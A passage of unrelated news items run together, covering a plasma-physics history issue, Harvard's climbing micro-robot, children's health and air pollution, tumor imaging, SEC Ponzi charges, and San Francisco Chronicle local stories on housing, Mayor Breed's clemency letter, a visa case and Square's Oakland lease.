plasma physics, in the first half of the 20th century. First, Patrick Diamond, from the University of California San Diego, USA, shares his recollections of the early days of wireless transmission and the description of the 'Heavyside Layer' (the electrically conducting layer of the upper atmosphere, which transmits radio waves). In turn, Yves Pomeau from the Ecole Polytechnique in Palaiseau, France, talks about the role of Irving Langmuir in the development of plasma physics theory, namely his calculation of the frequency of oscillation of electrons in a plasma environment with much heavier ions. Lastly, Uriel Frisch from the University Cote D'Azur in Nice, France, describes the birth of nuclear fusion theory. For those interested in reading further about plasma, this EPJ H special issue covers both the fundamentals and the applications related to magnetic-confinement-based controlled fusion between 1950 and 2000. The story ranges from the Soviet era and Russian efforts to the standpoints of French, Japanese, Chinese and American physicists involved in building tokamaks around the world -- and more recently ITER- to experiment with controlled fusion, which is governed by plasma physics. Jet engines can have up to 25,000 individual parts, making regular maintenance a tedious task that can take over a month per engine. Many components are located deep inside the engine and cannot be inspected without taking the machine apart, adding time and costs to maintenance. This problem is not only confined to jet engines, either; many complicated, expensive machines like construction equipment, generators, and scientific instruments require large investments of time and money to inspect and maintain. Researchers at Harvard University's Wyss Institute for Biologically Inspired Engineering and John A. Paulson School of Engineering and Applied Sciences (SEAS) have created a micro-robot whose electroadhesive foot pads, origami ankle joints, and specially engineered walking gait allow it to climb on vertical and upside-down conductive surfaces, like the inside walls of a commercial jet engine. The work is reported in Science Robotics. "Now that these robots can explore in three dimensions instead of just moving back and forth on a flat surface, there's a whole new world that they can move around in and engage with," said first author Sebastien de Rivaz, a former Research Fellow at the Wyss Institute and SEAS who now works at Apple. "They could one day enable non-invasive inspection of hard-to-reach areas of large machines, saving companies time and money and making those machines safer." The new robot, called HAMR-E (Harvard Ambulatory Micro-Robot with Electroadhesion), was developed in response to a challenge issued to the Harvard Microrobotics Lab by Rolls-Royce, which asked if it would be possible to design and build an army of micro-robots capable of climbing inside parts of its jet engines that are inaccessible to human workers. Existing climbing robots can tackle vertical surfaces, but experience problems when trying to climb upside-down, as they require a large amount of adhesive force to prevent them from falling. The team based HAMR-E on one of its existing micro-robots, HAMR, whose four legs enable it to walk on flat surfaces and swim through water. While the basic design of HAMR-E is similar to HAMR, the scientists had to solve a series of challenges to get HAMR-E to successfully stick to and traverse the vertical, inverted, and curved surfaces that it would encounter in a jet engine. First, they needed to create adhesive foot pads that would keep the robot attached to the surface even when upside-down, but also release to allow the robot to "walk" by lifting and placing its feet. The pads consist of a polyimide-insulated copper electrode, which enables the generation of electrostatic forces between the pads and the underlying conductive surface. The foot pads can be easily released and re-engaged by switching the electric field on and off, which operates at a voltage similar to that required to move the robot's legs, thus requiring very little additional power. The electroadhesive foot pads can generate shear forces of 5.56 grams and normal forces of 6.20 grams -- more than enough to keep the 1.48-gram robot from sliding down or falling off its climbing surface. In addition to providing high adhesive forces, the pads were designed to be able to flex, thus allowing the robot to climb on curved or uneven surfaces. advertisement The scientists also created new ankle joints for HAMR-E that can rotate in three dimensions to compensate for rotations of its legs as it walks, allowing it to maintain its orientation on its climbing surface. The joints were manufactured out of layered fiberglass and polyimide, and folded into an origami-like structure that allows the ankles of all the legs to rotate freely, and to passively align with the terrain as HAMR-E climbs. Finally, the researchers created a special walking pattern for HAMR-E, as it needs to have three foot pads touching a vertical or inverted surface at all times to prevent it from falling or sliding off. One foot releases from the surface, swings forward, and reattaches while the remaining three feet stay attached to the surface. At the same time, a small amount of torque is applied by the foot diagonally across from the lifted foot to keep the robot from moving away from the climbing surface during the leg-swinging phase. This process is repeated for the three other legs to create a full walking cycle, and is synchronized with the pattern of electric field switching on each foot. When HAMR-E was tested on vertical and inverted surfaces, it was able to achieve more than one hundred steps in a row without detaching. It walked at speeds comparable to other small climbing robots on inverted surfaces and slightly slower than other climbing robots on vertical surfaces, but was significantly faster than other robots on horizontal surfaces, making it a good candidate for exploring environments that have a variety of surfaces in different arrangements in space. It is also able to perform 180-degree turns on horizontal surfaces. HAMR-E also successfully maneuvered around a curved, inverted section of a jet engine while staying attached, and its passive ankle joints and adhesive foot pads were able to accommodate the rough and uneven features of the engine surface simply by increasing the electroadhesion voltage. The team is continuing to refine HAMR-E, and plans to incorporate sensors into its legs that can detect and compensate for detached foot pads, which will help prevent it from falling off of vertical or inverted surfaces. HAMR-E's payload capacity is also greater than its own weight, opening the possibility of carrying a power supply and other electronics and sensors to inspect various environments. The team is also exploring options for using HAMR-E on non-conductive surfaces. "This iteration of HAMR-E is the first and most convincing step towards showing that this approach to a centimeter-scale climbing robot is possible, and that such robots could in the future be used to explore any sort of infrastructure, including buildings, pipes, engines, generators, and more," said corresponding author Robert Wood, Ph.D., who is a Founding Core Faculty member of the Wyss Institute as well as the Charles River Professor of Engineering and Applied Sciences at SEAS. "While academic scientists are very good at coming up with fundamental questions to explore in the lab, sometimes collaborations with industrial scientists who understand real-world problems are required to develop innovative technologies that can be translated into useful products. We are excited to help catalyze these collaborations here at the Wyss Institute, and to see the breakthrough advances that emerge," said Wyss Founding Director Donald Ingber, M.D., Ph.D., who is also the Judah Folkman Professor of Vascular Biology at Harvard Medical School and the Vascular Biology Program at Boston Children's Hospital, and Professor of Bioengineering at SEAS. A new study led by researchers at the Columbia Center for Children's Environmental Health (CCCEH) organizes the available scientific evidence on the effects of air pollution on children's health. The paper in the journal Environmental Research is the first comprehensive review of the associations between various fossil fuel combustion pollutants and multiple health effects in children in the context of assessing the benefits of air pollution and climate change policies. The researchers say their goal is to expand the kinds of health outcomes used in calculations of the health and economic benefits of implementing clean air and climate change policies which are largely limited to the effects of air pollution on premature deaths and other outcomes in adults. The new paper aggregates research on outcomes, including adverse birth outcomes, cognitive and behavioral problems, and asthma incidence. "Policies to reduce fossil fuel emissions serve a dual purpose, both reducing air pollution and mitigating climate change, with sizable combined health and economic benefits," says first author Frederica Perera, PhD, director of CCCEH and professor of Environmental Health Sciences. "However, because only a few adverse outcomes in children have been considered, policymakers and the public have not yet seen the extent of the potential benefits of clean air and climate change policies, particularly for children." The researchers reviewed 205 peer-reviewed studies published between January 1, 2000 and April 30, 2018 which provided information on the relationship between the concentration of exposures to air pollutants and health outcomes. The studies relate to fuel combustion by-products, including toxic air pollutants such as particulate matter (PM2.5), polycyclic aromatic hydrocarbons (PAH), and nitrogen dioxide (NO 2 ). A table provides information on the risk of health outcomes for exposure by study, encompassing research on six continents. "There is extensive evidence on the many harms of air pollution on children's health," says Perera. "Our paper presents these findings in a convenient fashion to support clean air and climate change policies that protect children's health." The World Health Organization (WHO) has estimated that more than 40 percent of the burden of environmentally related disease and about 90 percent of the burden of climate change is borne by children under five, although that age group constitutes only 10 percent of the global population. The direct health impacts in children of air pollution from fossil fuel combustion include adverse birth outcomes, impairment of cognitive and behavioral development, respiratory illness, and potentially childhood cancer. As a major driver of climate change, combustion of fossil fuel is also directly and indirectly contributing to illness, injury, death, and impaired mental health in children through more frequent and severe heat events, coastal and inland flooding, drought, forest fires, intense storms, the spread of infectious disease vectors, increased food insecurity, and greater social and political instability. These impacts are expected to worsen in the future. The study was co-authored by Adiba Ashrafi of CCCEH; Patrick Kinney of Boston University; and David Mills of Abt Associates, Boulder, Colorado; with funding from the Rockefeller Foundation Fellowship Program and the John Merck Family Foundation. A team of University of Illinois at Urbana-Champaign researchers led by Professor Stephen Boppart has successfully visualized the tumor microenvironment of human breast tissue shortly after it was surgically removed from a patient in the operating room. The researchers achieved this using a new portable optical imaging system developed in Boppart's lab. This work, which was reported in a paper published online December 19 in Science Advances, marks a major step toward providing cancer researchers with a new tool for tracking tumor progression and physicians new technology for tissue pathology and diagnostics. Typically, the process for diagnosing cancer takes several days. A surgeon first removes a tissue sample that is then processed with chemical dyes; later, the sample is sent to a pathologist for examination and subsequent diagnosis. "We believe that capturing the dynamic cellular and molecular features in freshly removed or biopsied tissue specimens contains valuable diagnostic and prognostic information that is currently lost when specimens are placed in a fixative and essentially killed quickly in order to preserve structure," said Boppart, who is also a faculty member at the Beckman Institute for Advanced Science and Technology at Illinois and a professor of electrical & computer engineering (ECE) and the Carle Illinois College of Medicine. "Our imaging platform and methodology allow us to extract this new information in real-time, at the point-of-procedure." Boppart's portable optical imaging system uses precise light pulses to simultaneously image tissue in four modalities, enabling his team to study concurrent processes within cells and tissue that make up the tumor microenvironment. For example, collagen fibers appear in green; elastin fibers and flavin adenine dinucleotide-containing cell cytoplasm appear in yellow; cell membranes, lipid boundaries, and extracellular vesicles (EVs) appear in magenta; and nicotinamide adenine dinucleotide in the cells and lipids appears in cyan. The team demonstrated the viability of their imaging system in the operating room at Carle Foundation Hospital during breast cancer surgeries. Within 30 minutes of the diseased tissue being extracted, the researchers were able to identify specific tissue features, including molecular signatures associated with metabolic activity inside individual cells that make up the tumor microenivronment. advertisement The researchers were also interested in measuring tumor-related extracellular vesicles (EVs), which are known to promote the spread of cancer. "EVs do play an essential role in cancer progression," said ECE graduate student Yi "Edwin" Sun, the lead author of the research paper. "Quantifying EV densities may be developed as a potential biomarker for future cancer diagnoses." As part of their studies, they also collected and imaged healthy breast tissue that surgeons had removed from cancer-free patients during breast reduction procedures. In a comparison of the two types of tissue, they found a clear difference in EV density between the cancerous and healthy tissue. For example, the cancerous tissue exhibited increased EV densities and had shorter tumor-to-margin distance. "What we observed about the extracellular vesicles is significant but it could only be accurately determined with our new system," said Sun, noting how other portable optical imaging systems deployed in the operating room all alter the tissue samples either with fluorescent dyes or toxic ultraviolet light. "Our imaging technique works well with current cancer treatment routines and is free of any form of perturbation." According to Boppart, the team's future plans include using the imaging system on tissue specimens obtained from needle-biopsy procedures that are routinely performed in outpatient settings. They will also continue using the system on samples from the operating room. The imaging system is described in the paper, "Intraoperative visualization of the tumor microenvironment and quantification of extracellular vesicles by label-free non-linear imaging," which was published online December 19, 2018. Termen extins: OHCHR Moldova: Apel deschis pentru aplicatii din partea OSC-urilor pentru a beneficia de suport in desfasurarea activitatilor de advocacy la nivel international in contextul celui de-al treilea ciclu de EPU a R.Moldova The Securities and Exchange Commission today announced charges against an additional 13 individuals and 10 companies for unlawfully selling securities of Woodbridge Group of Companies LLC to retail investors. Woodbridge collapsed into bankruptcy in December 2017 and the SEC previously charged the company, its owner and others with operating a $1.2 billion Ponzi scheme and charged five of the top Florida-based sales agents for securities and broker-dealer registration violations. The 13 individual defendants charged were among Woodbridge's top revenue producers, selling more than $350 million of its unregistered securities to more than 4,400 investors. According to the complaints, the defendants marketed Woodbridge's securities as a "safe" and "secure" investment and reaped millions of dollars in commissions on their sales even though they were not registered as, or associated with, registered broker-dealers. The SEC also alleges that defendant Jordan Goodman, a self-described "media influencer," touted Woodbridge without disclosing that he was paid to do so. In its latest actions, the SEC is seeking court-ordered injunctions, return of allegedly ill-gotten gains with interest, and financial penalties against Robert S. "Lute" Davis, Jr., Donald Anthony Mackenzie, Jordan E. Goodman, Aaron R. Andrew, Jeffrey L. Wendel, Alan H. New, David N. Knuth, Randy T. Rondberg, Richard Fritts, Marcus Bradford Bray, Gregory W. Anderson, Claude Steven Mosley, Gregory A. Koch, and their companies Old Security Financial Group Inc., Paramount Financial Services Inc. d/b/a Live Abundant, Wendel Financial Network LLC, Synergy Investment Services LLC, Trager LLC, Fritts Financial LLC, Bradford Solutions LLC, Balanced Financial Inc., Security Financial LLC and Koch Insurance Brokers LLC. Goodman settled the SEC's charges without admitting or denying the allegations and agreed to disgorgement of $2.29 million, plus prejudgment interest of $315,850, a $100,000 civil penalty and to be subject to an injunction and industry and penny-stock bars. Synergy Investment Services, New, and Knuth settled the SEC's charges without admitting or denying the allegations, with the court to determine disgorgement, interest, and penalties at a later date. The SEC also reached settlements in its previously filed action against Florida-based sales agents Barry M. Kornfeld, Ferne Kornfeld, and Albert D. Klager. Without admitting or denying the allegations, the three agreed to a permanent injunction and to industry and penny-stock bars. The Kornfelds agreed to disgorgement of $3.69 million, plus $690,497 in prejudgment interest; additionally, Barry Kornfeld agreed to a $500,000 civil penalty and Ferne Kornfeld agreed to a $150,000 penalty. Klager agreed to $1.36 million in disgorgement, $278,908 in prejudgment interest, and a $100,000 civil penalty. The SEC's investigation has been conducted by Scott A. Lowry, Russell Koonin, Christine Nestor, and Mark Dee in the Miami Regional Office, and supervised by Jason R. Berkowitz and Fernando Torres. The litigation will be led by Ms. Nestor, Mr. Koonin, and Mr. Lowry under the supervision of Andrew O. Schiff. The SEC appreciates the assistance of the Texas State Securities Board, Florida Office of Financial Regulation, Arizona Corporation Commission - Securities Division, California Office of the Attorney General and the Department of Business Oversight, Colorado Division of Securities, Pennsylvania Department of Banking and Securities - Bureau of Securities Compliance and Examinations, Utah Department of Commerce - Division of Securities, and the Financial Industry Regulatory Authority. The SEC's Office of Investor Education and Advocacy has issued an Investor Alert to help seniors identify signs of investment fraud and, in conjunction with the Division of Enforcement's Retail Strategy Task Force, another Investor Alert about Ponzi schemes targeting seniors. The SEC strongly encourages investors to use the agency's Investor.gov website to check the backgrounds of people selling them investments to quickly identify whether they are registered professionals. It was supposed to be a fairly smooth sign-off on an ambitious plan to stanch the Bay Areas housing crisis. Instead, Wednesdays meeting of the Metropolitan Transportation Commission became a taut showdown. While a panel of mayors, transit officials and business leaders vigorously defended their proposal to build 35,000 homes a year, residents and leaders of smaller cities who had been balking solidified into stiff opposition, saying theyd been left out of the discussions. After a four-hour debate, the commission voted 14-3 to authorize MTC Chairman Jake Mackenzie to sign the plan which is advisory only, but meant to serve as a blueprint for state and local lawmakers. Commissioners call it a compact, a compromise among various groups that dont always trust each other: developers, tech executives, politicians, tenant advocates. Even so, MTC Executive Director Steve Heminger acknowledged that not everyone is happy about the arrangement. Tension stewed from the outset of the meeting. This conversation has taken some, maybe all of you out of your comfort zone its certainly taken me out of mine, Heminger said. But I think we also have to acknowledge that our collective comfort zone is what has produced the housing crisis that we have. The MTC and the Association of Bay Area Governments convened the panel called the Committee to House the Bay Area and referred to as CASA to tackle a glaring imbalance: Since the recession ended in 2010, the Bay Area has created 722,000 jobs but built only 106,000 housing units. As a result, people are forced to live in wildfire zones or endure grinding commutes. The answer, according to members of CASA, is an intricate mix of production and protection. Their 10-point compact calls for a regional rent cap, new property taxes, laws against arbitrary evictions and loose zoning near transit centers. The goal: build 35,000 homes each year, including 14,000 that are affordable to low-income families and 7,000 that are affordable to moderate-income families. At the same time, panel members seek to preserve 30,000 units of existing affordable housing and 300,000 low-income households that are on the verge of being displaced. CASA members also want to create an agency with taxing authority to shepherd the policies. Its not perfect, supporters say. But as more people despair of living anywhere near where they work, its incumbent upon politicians to respond, they say. Weve got to drive home the message to everyone in the region that the affordable housing crisis is hurting you, said Oakland Mayor Libby Schaaf, who sat on the panels steering committee, whether its because your grandchildren cant live near you or your childrens teacher will have to leave in the middle of the year to find cheaper rent. Critics had voiced concerns during previous discussions of the plan as it was being developed, but the anger that boiled over Wednesday exceeded anything that came before. One by one, 2 dozen foes blasted the CASA plan, many calling it an overreach and a cynical attempt to force suburbs to go dense. Im here to represent the missing middle the local electeds who have been left out of this effort, said Los Altos City Councilwoman Anita Enander. She urged the commission to delay its vote, or reject the 10-point compact altogether. We deserve time to evaluate these recommendations and have our expertise considered before this goes forward, she said. Eva Chao, a San Francisco businesswoman, called the plan a socialist coup by politicians who want to make all neighborhoods look the same. Others accused the panel of promoting housing construction to benefit large real estate and tech companies noting that CASAs steering committee includes representatives of Facebook, Google, and the Hunters Point Shipyard developer FivePoint. Susan Kirsch, founder of the moderate-growth group Livable California, stressed that point in a letter to the commission. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. We acknowledge that MTC, the Bay Area Council, big businesses like Google and Facebook, and the building and real estate interests would like to see a unanimous vote of approval, she wrote. Imagine the fanfare of delivering this coup to legislators, swayed by big corporate donors who insist on high rates of return on their real estate investments. That would explain why 60 percent of the CASA Compact is dedicated to new housing production. Not everyone was a detractor. About 20 mostly younger people spoke in favor of the compact, describing the painful ramifications of scarce affordable housing. Victoria Fierce, a member of the pro-density group East Bay for Everyone, said she had to sleep on couches when she moved to Oakland from Akron, Ohio, because rents were beyond her reach. Developer Michael Covarrubias called the CASA compact the most difficult project of his career. Labor, nonprofits, for-profits, equity folks (they) were all defending their turf, he said, marveling out how the disparate groups had managed to compromise. He recounted how the committee began with 54 policy ideas and whittled them down to 10, in the hope of creating a package of bills that Sacramento legislators could pick up. CASAs recommendations are not enforceable laws but they are intended to serve as guidelines for state lawmakers, city council members and incoming Gov. Gavin Newsom. Heminger conceded that CASA could have done more community outreach over the year and a half that it worked to create the housing plan. Obviously we did not have all 101 (Bay Area) cities involved, he said. Were trying to remedy that as we speak. Even so, he urged the commissioners to approve the plan so it could be shipped to lawmakers desks in Sacramento. Were staring a new legislative session in the face, he said. Rachel Swan is a San Francisco Chronicle staff writer. Email: rswan@sfchronicle.com Twitter: @rachelswan Videos Sorry, there are no recent results for popular videos. Mayor London Breed has written a letter to outgoing Gov. Jerry Brown, asking for a commutation for her brother, Napoleon Brown. Hes currently serving a 44-year sentence for the death of Lenties White in 2000, who police say Napoleon Brown pushed out of a getaway car after an armed robbery. In an interview with The Chronicle on Wednesday, the mayor defended asking the governor for the commutation of her brothers involuntary manslaughter and armed robbery convictions, saying she knew the letter would enter the public record. I want to be clear that this is not uncommon for me, Breed said. Ive done a lot of work involving criminal justice reform. I believe in people paying their debts and being given a second chance. She also acknowledged she served as an alibi witness for her brother during his 2005 trial and stood by her testimony. Breed hasnt talked publicly about her brothers case since becoming a politician, other than to mention he was in prison on robbery and other charges. She didnt mention he was originally convicted on murder charges, until he successfully appealed the conviction, arguing his defense lawyer had been inadequate. Is Breeds letter to Gov. Brown a conflict of interest? Several ethics experts dont think so. Sign up for Bay Briefing Like what you're reading? Subscribe to The Chronicle's Bay Briefing newsletter and get the Bay Area's best journalism in your inbox every weekday. See More Collapse Top of the News Delayed test: Building 606 at the former Hunters Point Naval Shipyard has housed police employees since 1997. In July, after The Chronicle revealed significant health hazards there, the health department promised the roughly 40 remaining employees it would test the buildings air, soil and tap water for chemicals and radioactive substances. This week, investigative reporters Jason Fagone and Cynthia Dizikes report that the most crucial test, a search for radioactivity inside the building and in surrounding soil, has been delayed. It is not scheduled to begin until at least mid-January. No place like it in the world: Galeria de la Raza, a foundational art gallery and community space for the Chicano art movement, will leave its home of nearly 50 years at the end of the month, after negotiations over a sudden 100 percent rent increase fell apart. Writer Ryan Kost traces the history of the Galeria and what it means to multiple generation of Chicano artists, as well as what the future might hold. It means leaving, but it doesnt mean we disappear, executive director Ani Rivera says. Asylum in the courts : A federal judge has struck down a Trump administration policy of expedited removal for those whose asylum cases involve claiming fear of domestic or gang violence. In California, a district judge said he was extending his ruling allowing undocumented immigrants to seek asylum no matter where they entered the country. In this together: When 9-year-old Tony Hood wrote to 49ers defensive tackle Solomon Thomas, he offered to be there for you any time that you are sad. The young boy had been comforted by Thomas essay about living with grief after his sister committed suicide last year. Hoods father had taken his own life. On Sunday, Thomas and Hood met for the first time and forged a special bond. Its official: The SF Lesbian/Gay Freedom Band is now the citys official band, even though theyve held the unofficial honor for years. In celebration, the official band played the official song: I Left My Heart in San Francisco. Housing plan draws heat, but passes: What was supposed to be a calm meeting to approve an advisory plan to build 35,000 homes per year in the Bay Area turned into a tense four-hour debate after residents and leaders of smaller cities came out strongly against the compact, saying theyd been left out of the discussions. Another few skyscrapers worth: While a number of high-profile tech companies have announced expansions out of San Francisco, the industry is still driving an all-time record amount of office-leasing deals. In 2018, companies struck deals for 11.9 million square feet space for nearly 80,000 employees. Trial starts in April: A new judge has been assigned to the Ghost Ship trial the fifth total since the case was opened. The lawyers for the defendants are thrilled with the reassignment the judge is a former defense attorney. Next year for disaster funding: While a short-term government spending deal in Congress may avert a partial shutdown and delay a fight over President Trumps border wall, the bill also leaves out funding for victims of California wildfires and other disasters. Bay Area lawmakers are confident the money will come when a new Congress is seated, but are frustrated over the irregular way the U.S. government has been funded. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Ode to Gumps: After a century and a half of one-of-a-kind gifts, San Franciscos oldest store is closing its doors on the last day of 2018. Chronicle Archivist Bill Van Niekerken took a trip to the Archives to see how Gumps story played out in the pages of the newspaper. You can see more of Bills classic finds in the Chronicle Vault newsletter. The Kicker Jessica Christian / The Chronicle Why are there so many holiday-theme pop-up bars? Thats the question on writer Emma Silvers mind as she visits Miracle, a Christmas pop-up thats taken over Pacific Cocktail Haven near Union Square. One reason quickly becomes apparent festive gimmicks have been a boon to bar owners. After taking in a decor with enough floor-to-ceiling holiday tchotchkes ... to give the Grinch a heart attack and ordering a Koala-la-la-la, la-la-la-la, she find herself warming up to the idea of trying to transport oneself to a place where White Christmas is more than just a song. Bay Briefing is written by Taylor Kate Brown and sent to readers email inboxes on weekday mornings. Sign up for the newsletter here and contact Brown at taylor.brown@sfchronicle.com San Francisco Mayor London Breed said Wednesday she stands by her decision to ask outgoing Gov. Jerry Brown to free her imprisoned brother, while acknowledging she had served as an alibi witness at her brothers trial before he was convicted in the 2000 death of a woman on the Golden Gate Bridge. In October, Breed and other family members sent letters to the governor, asking him to consider an early release date for her older brother, Napoleon Brown, who has served nearly two decades of a 44-year prison sentence for involuntary manslaughter and armed robbery. Breed has never publicly discussed her brothers case in detail since becoming a San Francisco politician. Her letter, which became public Tuesday, revealed her role in the case for the first time and raised questions about whether she acted appropriately in seeking leniency for a family member. Breeds letter used what appeared to be personal stationery that featured Mayor London Breed in block letters at the top. She mentioned her status as the citys mayor in the body of the letter. In an interview Wednesday, she said she expected the letter to eventually become a part of the public record. I want to be clear that this is not uncommon for me, Breed said. Ive done a lot of work involving criminal justice reform. I believe in people paying their debts and being given a second chance. Breed said she testified to the best of her recollection at the 2005 trial of her brother, who was initially convicted of murder in the killing of the 25-year-old woman, Lenties White. Authorities said Brown pushed White from a getaway car that was fleeing north across the Golden Gate Bridge after a robbery. She was struck by an oncoming drunken driver and later died. Brown, now 46, successfully appealed the conviction, arguing his defense attorney was inadequate, before pleading no contest to charges including involuntary manslaughter in 2011 in a deal with the San Francisco district attorneys office. On Wednesday, Breed confirmed she testified that at around midnight on June 18, 2000, she arrived at her grandmothers house in San Franciscos Western Addition to find Brown asleep on the couch. Breed was then 25, and was 30 when she took the stand at the trial. A 2014 court filing by U.S. District Judge Jon Tigar said, [Petitioners] sister, London Breed, provided an alibi for defendant. When she arrived at her grandmothers house around midnight on June 18, 2000, defendant was asleep on the couch. She could not remember if he was still there when she left for work in the morning. Court records indicate that Brown and an accomplice committed an armed robbery at a Johnny Rockets restaurant on Chestnut Street in the Marina district sometime between midnight and 12:30 that same night, though police at the time described the robbery as occurring at 12:40 a.m. Breed on Wednesday declined to discuss the night in detail. I told the police and I told the courts what I recalled from that night, Breed said. That was my best recollection of that evening. Breed was a San Francisco supervisor from 2013 to last December, when she became acting mayor upon the sudden death of Ed Lee. She was then elected mayor in June. In recent years, she has said her brother was incarcerated for robbery and other charges, but has not mentioned the homicide conviction or the connection to the Golden Gate Bridge case, which generated headlines when it happened. Court documents in the case also show that Breed initially told investigators in 2000 that her brother went by Sonny Boy or possibly S.B. White had made a dying declaration identifying S.B. as her killer. But at trial, Breed denied telling police that Brown used the S.B. nickname, records show. Government ethics experts said Breeds letter to the governor, which was dated Oct. 23 and first revealed Tuesday night by NBC Bay Area, did not appear to violate any city or state ethics laws. I dont believe there is any violation of any of the jurisdictional ordinances of the (San Francisco) Ethics Commission, said Quentin Kopp, a former judge and state senator who serves as the commissions vice chair. Shes entitled as a human being to advocate a release from confinement. She shouldnt use the word mayor on such a letter, Kopp said, but that doesnt rise to the level where I would ask the Ethics Commission to devote time to. Potential conflicts of interest would hinge on whether an official stood to receive a financial benefit from an action, or attempted to improperly influence a government decision. Breeds letter doesnt appear to do either, said Jim Sutton, a San Francisco election attorney. As a general matter, the law does not prohibit her from asking the governor to commute the sentence because she does not serve to financially benefit from it, and its not a decision of city government. Its a decision of state government, he said. Breed said she didnt use any city resources to create the letter but had spoken to Gov. Brown about the commutation request and about the process, who to contact, things like that. In one paragraph of her letter, Breed said she could guarantee the governor that she and her family could find her brother a job, a home and counseling services to help ensure a successful life outside of prison. Just to be clear, its not to get him a city job, Breed said Wednesday. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Peter Keane, a former chair of the Ethics Commission, said he saw nothing illegal, immoral or unethical about what she did. This is her brother, for Gods sake, he said. Hes been in jail and shes trying to help him out. You or I or anyone can ask the government to give clemency to our brother, who is in prison. Had she not written a letter asking for leniency for her brother, youd say theres something wrong with this person. In her letter, Breed asked the governor to consider leniency for Brown, who she said is committed to turning his life around. She called his 44-year sentence unfair, but added that she made no excuses for his behavior. His decisions, his actions, led him to the place he finds himself now. Still, I ask that you consider mercy, and rehabilitation, she wrote. A spokesman for the governors office said Brown, who leaves office Jan. 7, does not comment on pending applications for commuted prison sentences. Napoleon Brown has argued that he was addicted to drugs at the time of the robbery and Whites death. Two years ago, he was found in possession of heroin at Solano State Prison in Vacaville, authorities said. Breed did not mention the new charge in her letter. Rico Hamilton, Whites first cousin, said Wednesday that the prospect of Browns early release has brought up a well of emotions for his family, particularly for Sandra McNeil, the victims mother. The two families have been intertwined since Whites death and Browns conviction, Hamilton said. Breed helped him find work and a place to live after he himself got out of prison. Hamilton said he was 1,000 percent sure that Breed had contacted McNeil following the incident. Hamilton said he personally supported Browns early release, provided he had an opportunity to show contrition to McNeil and the family. How do we start the healing? he said. This would be a perfect time for families to get together and really start working on that healing. San Francisco Chronicle staff writers Megan Cassidy and Evan Sernoffsky contributed to this story. Dominic Fracassa is a San Francisco Chronicle staff writer. Email: dfracassa@sfchronicle.com Twitter: @dominicfracassa After months of pleading for the U.S. State Departments permission to fly from Egypt to the United States to say goodbye to her dying 2-year-old son in Oakland, Shaima Swileh stepped off a plane Wednesday night at San Francisco International Airport, threaded through customs, and rejoined her family at last. Wearing a denim button-up, black sunglasses and a cream-colored hijab, Swileh hugged loved ones while family representatives yelled, give her space and get behind the podium to the throng of supporters and journalists waiting at a portable podium for her to speak. Then, as she stood with head bowed, her husband asked the crowd to respect their privacy as they focused on their son, Abdullah Hassan. This is a difficult time for our family, but we are blessed to be together, Ali Hassan said. The Muslim ban has hurt Yemen American families and needs to end. Thank you. And with that, the family slipped through the dense crowd, pushed through the glass doors of the terminal and raced down the sidewalk, where a Ford Tahoe waited. Dozens of journalists wielding cameras chased after them, shining bright lights toward the Tahoe and trying to speak with Swileh. San Francisco police officers blocked the terminal to normal traffic while the family piled into the vehicle and pulled away. Dozens of supporters cheered the family on as Swileh arrived and left, and waved handmade signs reading, repeal the ban and no travel ban. Until this month, Swileh, a citizen of Yemen, had her visa application denied and was barred from entering the United States because of the Trump administrations travel ban on Muslim-majority countries, her family said. But on Tuesday morning, Swileh was called to the U.S. Embassy in Cairo, where she was given a presidential proclamation waiver and visa, allowing her to travel to the Bay Area to see her son, who is dying from a rare brain condition called hypomyelination. Jennifer Nimer, one of the familys attorneys, said Wednesday that the Council on American-Islamic Relations has filed a lawsuit in federal court accusing the embassy in Cairo of ignoring more than 28 desperate pleas from the family to expedite requests for Swilehs visa. The pleas included medical documents confirming the boys worsening condition, she said. The State Department said in an email to The Chronicle Wednesday evening that while officials cant discuss details of individual cases, officials make every effort to facilitate legitimate travel by international visitors. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. We are also fully committed to administering U.S. immigration law and ensuring the integrity and security of our countrys borders, the department said. Swileh and Hassan went to Cairo in August 2017 with Abdullah, then 8 months old, and started filing paperwork to move their family to the United States in an effort to flee a deadly civil war in Yemen. In August of this year, Hassan moved to Northern California and took the boy to UCSF Benioff Childrens Hospital Oakland and thats when he was diagnosed with the fatal brain disease, bringing urgency to Swilehs endeavor to come to the United States. Lauren Hernandez is a San Francisco Chronicle staff writer. Email: lauren.hernandez@sfchronicle.com Twitter: @LaurenPorFavor Payments processor Square signed an office lease Thursday for Oaklands Uptown Station in one of the citys biggest real estate deals ever. The 356,000-square-foot expansion, taking all of the buildings office space, gives Square room for up to 2,000 employees. Square is poised to become the largest tech company in Oakland, surpassing Pandora, which has about 1,000 employees and was sold to SiriusXM in September. Oakland has long been overlooked by major tech companies even as the industry transformed nearby San Francisco and Silicon Valley. Were excited to join the Oakland community as a partner, an advocate, a neighbor, and a customer of local businesses, Square CEO Jack Dorsey said in a statement. As we continue to grow, we want to support our employees wherever they are so they can work and invest in the communities in which they live. Uptown Station housed a Sears department store until it closed in 2014 and has been under renovation ever since. In 2015, Uber bought the building with plans for a major secondary office. But the ride-hailing company changed course as it sought to cut costs and sold the property one year ago to developer CIM Group. Square expects to open in Uptown Station late next year with 300 to 500 employees. The building at 1955 Broadway is adjacent to BARTs 19th Street/Oakland Station. Todd Trumbull Square will keep its headquarters in San Francisco at 1455 Market St., where it recently expanded. Those offices now have about 30 percent more space than Uptown Station. Coincidentally, Uber also has its headquarters at 1455 Market St. but has a new headquarters under construction in San Franciscos Mission Bay next to the future Warriors arena. Its expected to open in early 2020. Square said it will partner with Oakland and work with local businesses. The company wont build a private corporate cafeteria in Uptown Station a practice that critics say hurts local restaurants and that the cities of San Francisco and Mountain View have sought to limit. CIM Group will continue to seek shops and restaurants for the 35,000-square-foot ground floor retail space. Oakland is committed to attracting businesses whose values align with our community, whose workforce reflects our inclusivity, and whose greatest priority is the long-term prosperity of every Oakland resident, Mayor Libby Schaaf said in a statement. I believe Square can be that company. Schaaf said the city will work with Square on a plan for economic empowerment, including partnerships with local groups and pushing for a diverse workforce. Uber faced backlash from local nonprofits and residents who feared a big tech companys arrival would further raise housing costs. Squares lease is the largest in Oakland in decades, surpassing a 336,000-square-foot lease in 